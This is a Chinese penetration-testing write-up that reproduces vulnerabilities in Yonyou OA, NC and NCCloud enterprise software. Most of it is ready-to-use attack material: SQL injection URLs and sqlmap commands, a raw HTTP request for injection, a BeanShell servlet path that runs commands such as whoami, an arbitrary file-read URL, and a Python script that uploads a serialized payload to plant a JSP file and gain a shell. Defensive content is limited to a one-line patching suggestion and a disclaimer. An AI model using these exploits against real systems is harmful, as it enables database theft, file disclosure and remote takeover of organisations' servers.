用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录

简介

用友公司成立于1988年,全面提供具有自主知识产权的企业管理/ERP软件、服务与解决方案,是中国最大的管理软件、ERP软件、集团管理软件、人力资源管理软件、客户关系管理软件及小型企业管理软件提供商。

漏洞情况
用友OA_U8 存在SQL 注入
用友NCCloud FS文件管理 SQL 注入
用友NC bsh.servlet.BshServlet 远程命令执行
用友NC 任意文件上传 getShell

漏洞复现

1.用友 OA_U8 SQL 注入

poc

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

如果出现一下指纹 则存在sql注入点 注入点是 S1

用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录_第1张图片

直接使用SqlMap 进行检测

python sqlmap.py -u url/yyoa/common/js/menu/test.jsp?doType=101&S1=1 --random-agent -p S1 --dbs
2.用友 NCCloud FS文件管理 SQL 注入

poc

GET /fs/console?username=123&password=%2F7Go4Iv2Xqlml0WjkQvrvzX%2FgBopF8XnfWPUk69fZs0%3D HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=2CF7A25EE7F77A064A9DA55456B6994D.server; JSESSIONID=0F83D6A0F3D65B8CD4C26DFEE4FCBC3C.server
Connection: close

使用sqlmap进行检测 注意替换host

python sqlmap.py -r yyoa.txt --random-agent --level 3 -p username --dbs
3.用友NC Bean Shell RCE
/servlet/~ic/bsh.servlet.BshServlet

出现如下回显在存在命令执行
用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录_第2张图片

使用 exec(“cmd”) 执行指令
eg:exec(“whoami”)

4.用友ERP-NC 任意文件读取

poc

/NCFindWeb?service=IPreAlertConfigService&filename=

用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录_第3张图片

如回显如图则存在漏洞, 可以指定文件读取

eg: /NCFindWeb?service=IPreAlertConfigService&filename=index.jsp
5.用友NC 任意文件上传

poc

import requests

if __name__ == '__main__':
    url = 'http://xxxxx'
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Referer": "https://google.com",
        "Content-Type": "multipart/form-data;boundary=a1b37aa941c9f61c034924dbf7e8b486",
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    dork = 'hello'
    uploadData += dork
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    }
    try:
        vuln_url = url + '/servlet/FileReceiveServlet'
        response = requests.post(url=vuln_url, headers=uploadHeader, data=uploadData, timeout=12)
        if response.status_code == 200:
            check_url = url + '/t00ls.jsp'
            res = requests.get(check_url, headers=headers, timeout=12)
            if dork in res.text and res.status_code == 200:
                print("\033[32m[o] 目标 {}存在漏洞 ,检测成功 \033[0m".format(check_url))
        else:
            print("\033[31m[x] 请求失败 \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m")

访问查看 可getShell
用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录_第4张图片

修复建议

升级版本 限制访问,补丁修复

注意:本文仅供学习参考,非法传播及使用产生的后果自行承担,与本文作者无关

你可能感兴趣的:(渗透测试,渗透测试,数据安全,信息安全)